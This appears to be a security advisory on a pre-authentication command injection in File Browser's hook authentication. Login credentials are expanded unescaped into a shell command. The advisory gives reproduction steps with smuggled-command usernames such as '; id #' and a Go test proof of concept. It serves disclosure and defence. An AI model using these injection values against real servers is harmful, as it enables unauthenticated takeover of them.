File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)

CWE

Technical Details

HookAuth.RunCommand builds the authentication command and substitutes credential values using os.Expand:

// auth/hook.go
envMapping := func(key string) string {
    switch key {
    case "USERNAME":
        return a.Cred.Username  // directly from the HTTP login request body
    case "PASSWORD":
        return a.Cred.Password  // directly from the HTTP login request body
    default:
        return os.Getenv(key)
    }
}

for i, arg := range command {
    if i == 0 { continue }
    command[i] = os.Expand(arg, envMapping) // no escaping applied
}

os.Expand performs plain text substitution. There is no escaping, quoting, or validation of the credential values before they are embedded into the command string.

If an admin has configured the hook authentication command as:

sh -c "test $USERNAME = 'admin'"

...and an attacker submits the username ; id # at the login screen, the expanded command becomes:

sh -c "test ; id # = 'admin'"

The ; terminates the test expression and the shell executes id. The # comments out the remainder, preventing a syntax error. The attacker's command runs with the privileges of the File Browser process — without needing a valid account or password.

Attack Scenario / Reproduction Steps

1. Admin enables Hook Authentication and sets the command to:

   sh -c "test $USERNAME = 'admin'"
   

2. An unauthenticated attacker sends a login request (e.g., via curl or the web UI) with:
   • Username: ; id #
   • Password: (any value)
3. The server executes:

   sh -c "test ; id # = 'admin'"
   

4. The id command runs on the server, confirming pre-authentication RCE.

No account is needed. The attacker does not need to know any valid credentials. A single request is sufficient.

Impact

An unauthenticated remote attacker can execute arbitrary OS commands on the server under the privilege level of the File Browser process. This is the most severe class of vulnerability in this codebase:

• No authentication required — exposed to the entire internet if the service is public-facing.
• Single request — no setup, no enumeration, no prior foothold.
• Full server compromise: data exfiltration, persistent backdoor installation, lateral movement to internal networks.

Any internet-facing File Browser instance with Hook Authentication enabled is fully compromised by a single malformed login attempt.

Proof of Concept

package auth

import (
        "os"
        "strings"
        "testing"
)

func TestPoC_AuthHookInjection(t *testing.T) {
        // Simulate the admin-configured hook authentication command.
        // This represents a realistic configuration: verify the username via a shell expression.
        a := &HookAuth{
                Command: "sh -c $USERNAME",
                Cred: hookCred{
                        // Attacker-supplied username from the login form.
                        // The password is irrelevant.
                        Username: "id ; echo injected",
                        Password: "anything",
                },
        }

        // Simulate the RunCommand logic in auth/hook.go
        command := strings.Split(a.Command, " ")

        envMapping := func(key string) string {
                if key == "USERNAME" {
                        return a.Cred.Username
                }
                return os.Getenv(key)
        }

        for i, arg := range command {
                if i == 0 {
                        continue
                }
                // os.Expand substitutes $USERNAME with the attacker's input.
                // The result is treated as a shell script — no escaping is applied.
                command[i] = os.Expand(arg, envMapping)
        }

        // The shell will execute: sh -c "id ; echo injected"
        expectedArg := "id ; echo injected"
        if command[2] != expectedArg {
                t.Errorf("Expected command argument %q, got %q", expectedArg, command[2])
        }

        t.Logf("Confirmed: malicious username was injected as a shell script. Executing: %v", command)
}

Remediation

Pass credentials exclusively as environment variables, not as shell string substitutions. This feature is undocumented, so removing it should not cause issues.